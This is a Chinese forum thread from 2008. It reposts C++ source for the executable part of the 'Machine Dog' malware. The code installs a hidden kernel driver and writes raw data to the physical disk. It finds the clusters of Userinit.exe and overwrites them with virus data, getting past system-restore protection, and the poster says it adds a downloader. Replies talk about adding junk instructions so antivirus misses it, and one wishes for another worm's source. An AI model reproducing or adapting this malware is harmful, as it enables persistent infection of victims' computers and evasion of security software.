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[求助-网络问题]机器狗EXE代码 [复制链接]

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只看楼主 倒序阅读 使用道具 楼主  发表于: 2008-07-11 09:22:32
// Test.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
//==============================================================================
#include
typedef struct _PARTITION_ENTRY
{
UCHAR active;// 能否启动标志
UCHAR StartHead; // 该分区起始磁头号
UCHAR StartSector; // 起始柱面号高2位：6位起始扇区号
UCHAR StartCylinder; // 起始柱面号低8位
UCHAR PartitionType; // 分区类型
UCHAR EndHead;// 该分区终止磁头号
UCHAR EndSector; // 终止柱面号高2位：6位终止扇区号
UCHAR EndCylinder; // 终止柱面号低8位
ULONG StartLBA;// 起始扇区号
ULONG TotalSector; // 分区尺寸（总扇区数）
} PARTITION_ENTRY, *PPARTITION_ENTRY;
//==============================================================================
typedef struct _MBR_SECTOR
{
UCHAR BootCode[446];
PARTITION_ENTRY Partition[4];
USHORT Signature;
} MBR_SECTOR, *PMBR_SECTOR;
//==============================================================================
typedef struct _BBR_SECTOR
{
USHORT JmpCode;// 2字节跳转指令,跳转到引导代码
UCHAR NopCode;// 1字节nop指令,填充用,保证跳转指令长3个字节
UCHAR OEMName[8]; // 8字节的OEMName
// 下面开始为: BPB( BIOS Parameter Block )
USHORT BytesPerSector;// 每个扇区的字节数 (512 1024 2048 4096)
UCHAR SectorsPerCluster;// 每个簇的扇区数 ( 1 2 4 8 16 32 64 128 )两者相乘不能超过32K(簇最大大小)
USHORT ReservedSectors;// 从卷的第一个扇区开始的保留扇区数目,该值不能为0，对于FAT12/FAT16，该值通常为1,对于FAT32，典型值为32
UCHAR NumberOfFATs; // 卷上FAT数据结构的数目，该值通常应为2,[NTFS不使用NumberOfFATs字段，必须为0]
USHORT RootEntries; // 对于FAT12/FAT16,该值表示32字节目录项的数目,对于FAT32，该值必须为0；[NTFS不使用]
USHORT NumberOfSectors16;// 该卷上的扇区总数，该字段可以为0，如果该字段为0，则NumberOfSectors32不能为0；对于FAT32，该字段必须为0 [FAT32/NTFS不使用该字段]
UCHAR MediaDescriptor;// 介质类型
USHORT SectorsPerFAT16;// 该字段标识一个FAT结构占有的扇区数（FAT12/FAT16）,对于FAT32卷，该字段必须为0；[FAT32/NTFS不使用该字段]
USHORT SectorsPerTrack;// 用于INT 0x13中断的每个磁道的扇区数
USHORT HeadsPerCylinder;// 用于INT 0x13中断的每个柱面的磁头数
ULONG HiddenSectors; // 包含该FAT卷的分区之前的隐藏扇区数
ULONG NumberOfSectors32;// 该字段包含该卷上的所有扇区数目，对于FAT32，该字段不为0；FAT12/FAT16可根据实际大小是否超过65536个扇区数决定是否采用该字段； [NTFS不使用该字段]
// 下面开始为: EBPB ( Extended BIOS Parameter Block )
ULONG SectorsPerFAT32;// 对于FAT32，该字段包含一个FAT的大小，而SectorsPerFAT16字段必须为0;
} BBR_SECTOR, *PBBR_SECTOR;
#include
#define PARTITION_TYPE_NTFS 0x07
#define PARTITION_TYPE_FAT320x0B
#define PARTITION_TYPE_FAT32_LBA 0x0C
//==============================================================================
#define STR_SYSFILE_PATH TEXT("%SystemRoot%\\system32\\drivers\\pcihdd.sys")
#define STR_VIRFILE_PATH TEXT("%SystemRoot%\\System32\\Userinit.exe")
#define STR_DSKDEVICE_NAME TEXT("[url=]\\\\.\\PhysicalDrive0[/url]")
#define STR_HDDDEVICE_NAME TEXT("[url=]\\\\.\\PhysicalHardDisk0[/url]")
//==============================================================================
#define IOCTL_MYDEV_BASE0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)
//==============================================================================
DWORD InstallAndStartDriver(HMODULE ModuleHandle)
{
TCHAR filePath[MAX_PATH];
HANDLE fileHandle;
HRSRC hSysRes;
DWORD dwWritten;
DWORD dwSysLen;
PVOID lpSysBuf;
SC_HANDLEhSCManager;
SC_HANDLEhService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(
(NULL == (hSysRes = FindResource(ModuleHandle, (LPCTSTR)1001, (LPCTSTR)1001)))
||
(0 == (dwSysLen = SizeofResource(ModuleHandle, hSysRes)))
||
(NULL == (lpSysBuf = LockResource(hSysRes)))
||
(0 == ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath)))
||
(INVALID_HANDLE_VALUE == (fileHandle = CreateFile(filePath, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)))
)
{
errCode = GetLastError();
goto FunExit00;
}
if(
!WriteFile(fileHandle, lpSysBuf, dwSysLen, &dwWritten, NULL)
||
!SetEndOfFile(fileHandle)
||
!FlushFileBuffers(fileHandle)
)
{
errCode = GetLastError();
}
CloseHandle(fileHandle);
if(ERROR_SUCCESS != errCode)
{
goto FunExit01;
}
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
if(NULL != (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
}
hService = CreateService(
hSCManager,
TEXT("PciHdd"),
TEXT("PciHdd"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
filePath,
NULL,
NULL,
NULL,
NULL,
NULL
);
if(NULL != hService)
{
CloseServiceHandle(hService);
}
else
{
errCode = GetLastError();
goto FunExit02;
}
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_START)))
{
errCode = GetLastError();
goto FunExit02;
}
StartService(hService, 0, NULL);
CloseServiceHandle(hService);
FunExit02:
CloseServiceHandle(hSCManager);
FunExit01:
DeleteFile(filePath);
FunExit00:
return errCode;
}

DWORD StopAndDeleteDriver(VOID)
{
TCHAR filePath[MAX_PATH];
SC_HANDLE hSCManager;
SC_HANDLE hService;
SERVICE_STATUS sService;
DWORD errCode = ERROR_SUCCESS;
if(NULL == (hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit00;
}
if(NULL == (hService = OpenService(hSCManager, TEXT("PciHdd"), SERVICE_ALL_ACCESS)))
{
errCode = GetLastError();
goto FunExit01;
}
ControlService(hService, SERVICE_CONTROL_STOP, &sService);
DeleteService(hService);
CloseServiceHandle(hService);
FunExit01:
CloseServiceHandle(hSCManager);
FunExit00:
ExpandEnvironmentStrings(STR_SYSFILE_PATH, &filePath[0], sizeof(filePath));
DeleteFile(filePath);
return errCode;
}
//==============================================================================
// 感染硬盘第一个分区的指定的文件
//
// 1)通过FSCTL_GET_RETRIEVAL_POINTERS获取文件数据的分布 信息
//
// 2)通过直接访问硬盘([url=]\\\\.\\PhysicalHardDisk0[/url])的的MDR和第一个分区的引导扇区得到分区参数来定位文件。
//
// 3)通过对比ReadFile读取的文件数据和自己定位后直接 读取所得到的文件数据，确定定位是否正确
//
// 入口参数:
// 要感染的文件名（完整路径）
//
// Return value:
// Success -> NULL
// Failed -> 指向出错信息的指针
//==============================================================================
DWORD WriteVirusToDisk(LPCTSTR VirusFile)
{
STARTING_VCN_INPUT_BUFFER iVcnBuf;
UCHAR oVcnBuf[272];
PRETRIEVAL_POINTERS_BUFFER lpVcnBuf;
DWORD dwVcnExtents;
LARGE_INTEGER startLcn;
PUCHAR lpClusterBuf;
DWORD dwClusterLen;
UCHAR dataBuf[512];
UCHAR diskBuf[512];
DWORD dataLen;
LARGE_INTEGER diskPos;
PPARTITION_ENTRY lpPartition;
ULONG dwPartitionStart;
ULONG dwPartitionType;
PBBR_SECTOR lpBootSector;
DWORD SectorsPerCluster;
HANDLE hHddDevice;
HANDLE hDskDevice;
HANDLE hVirusFile;
DWORD errCode = ERROR_SUCCESS;
if(INVALID_HANDLE_VALUE == (hHddDevice = CreateFileA(STR_HDDDEVICE_NAME, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit00;
}
//
if(INVALID_HANDLE_VALUE == (hVirusFile = CreateFileA(VirusFile, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_NO_BUFFERING, NULL)))
{
errCode = GetLastError();
goto FunExit01;
}
iVcnBuf.StartingVcn.QuadPart = 0;
RtlZeroMemory(oVcnBuf, sizeof(oVcnBuf));
if(!DeviceIoControl(hVirusFile, FSCTL_GET_RETRIEVAL_POINTERS, &iVcnBuf, sizeof(iVcnBuf), &oVcnBuf[0], sizeof(oVcnBuf), &dataLen, NULL))
{
errCode = GetLastError();
goto FunExit02;
}
lpVcnBuf = (PRETRIEVAL_POINTERS_BUFFER)&oVcnBuf[0];
dwVcnExtents = lpVcnBuf->ExtentCount;
startLcn = lpVcnBuf->Extents[0].Lcn;
if(!dwVcnExtents)
{
errCode = (ULONG)(-3); // 文件太小, 不能操作
goto FunExit02;
}
if(startLcn.QuadPart == -1)
{
errCode = (ULONG)(-4); // 该文件是压缩文件, 不能操作
goto FunExit02;
}
ReadFile(hVirusFile, dataBuf, sizeof(dataBuf), &dataLen, NULL);
// 打开第一个物理硬盘

if(INVALID_HANDLE_VALUE == (hDskDevice = CreateFileA(STR_DSKDEVICE_NAME, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL)))
{
errCode = GetLastError();
goto FunExit02;
}
// 读取硬盘第一个扇区(MBR)
SetFilePointer(hDskDevice, 0, NULL, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpPartition = &(((PMBR_SECTOR)&diskBuf[0])->Partition[0]);
if(lpPartition[0].active != 0x80)
{
errCode = (ULONG)(-1); // 分区不是启动分区
goto FunExit03;
}
dwPartitionType = lpPartition[0].PartitionType;
if(
dwPartitionType != PARTITION_TYPE_FAT32
&&
dwPartitionType != PARTITION_TYPE_FAT32_LBA
&&
dwPartitionType != PARTITION_TYPE_NTFS
)
{
errCode = (ULONG)(-2); // 不支持的磁盘分区
goto FunExit03;
}
dwPartitionStart = lpPartition[0].StartLBA;
diskPos.QuadPart = dwPartitionStart * 512;
// 读取启动分区的第一个扇区(启动扇区)
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
lpBootSector = (PBBR_SECTOR)&diskBuf[0];
SectorsPerCluster = lpBootSector->SectorsPerCluster;
// 根据FAT32/NTFS计算Userinit的起始簇的偏移量
diskPos.QuadPart = dwPartitionStart;
diskPos.QuadPart+= lpBootSector->ReservedSectors;
if(dwPartitionType == PARTITION_TYPE_FAT32 || dwPartitionType == PARTITION_TYPE_FAT32_LBA)
{
diskPos.QuadPart+= lpBootSector->NumberOfFATs * lpBootSector->SectorsPerFAT32;
}
diskPos.QuadPart+= startLcn.QuadPart * SectorsPerCluster;
diskPos.QuadPart*= 512;
// 检查文件寻址
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
ReadFile(hDskDevice, diskBuf, sizeof(diskBuf), &dataLen, NULL);
if(!RtlEqualMemory(dataBuf, diskBuf, sizeof(diskBuf)))
{
errCode = (ULONG)(-5); // 寻址文件不成功
goto FunExit03;
}
// 分配缓冲
dwClusterLen = SectorsPerCluster*512;
lpClusterBuf = (PUCHAR)GlobalAlloc(GMEM_ZEROINIT, dwClusterLen); // 保存一个簇所要的缓冲
if(!lpClusterBuf)
{
errCode = GetLastError(); // 寻址文件不成功
goto FunExit03;
}
// 把Virus文件的数据从SYS文件资源段中解码出来
if(!DeviceIoControl(
hVirusFile,
IOCTL_MYDEV_Fun_0xF01,
(PVOID)0x00401000, // 本执行文件代码段的开始, 在C语言中我不会表达
0x73E, // 本执行文件代码段的长度, 在C语言中我不会表达
lpClusterBuf,
dwClusterLen,
&dataLen,
NULL
))
{
errCode = GetLastError();
goto FunExit04;
}
// 写Virus文件的数据到磁盘
SetFilePointer(hDskDevice, diskPos.LowPart, &diskPos.HighPart, FILE_BEGIN);
WriteFile(hDskDevice, lpClusterBuf, dwClusterLen, &dataLen, NULL);
FlushFileBuffers(hDskDevice);
errCode = ERROR_SUCCESS;
FunExit04:
GlobalFree(lpClusterBuf);
FunExit03:
CloseHandle(hDskDevice);
FunExit02:
CloseHandle(hVirusFile);
FunExit01:
CloseHandle(hHddDevice);
FunExit00:
return errCode;
}
//==============================================================================
int _tmain(int argc, _TCHAR* argv[])
{
TCHAR filePath[MAX_PATH];
DWORD errCode;
if(ERROR_SUCCESS != (errCode = InstallAndStartDriver(GetModuleHandleA(NULL))))
{
MessageBox(NULL, TEXT("驱动程序的加载没有成功,程序将无法运行"), NULL, MB_ICONERROR);
goto FunExit00;
}
ExpandEnvironmentStrings(STR_VIRFILE_PATH, &filePath[0], sizeof(filePath));
WriteVirusToDisk(filePath);
StopAndDeleteDriver();
FunExit00:
return 0;
}

（ps：转了一篇机器狗驱动代码，也不差机器狗EXE代码了。说实话机器狗1.3.4代比较简单，原理不过是驱动栽除DR0穿越还原，exe计算要感染文件磁盘物理地址写入病毒体附加下载者功能罢了。个人佩服2代机器狗作者，用到的是scsi转发实现虚拟磁盘映射真实磁盘。）
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只看该作者 沙发  发表于: 2008-07-14 10:26:31
机器狗，很强的。如果加个花指令，应该可以免杀
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只看该作者 板凳  发表于: 2008-07-14 14:59:52
好家伙看蒙了……:63)
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只看该作者 地板  发表于: 2008-07-14 15:41:45
如果有个磁碟机代码的话，真想玩下
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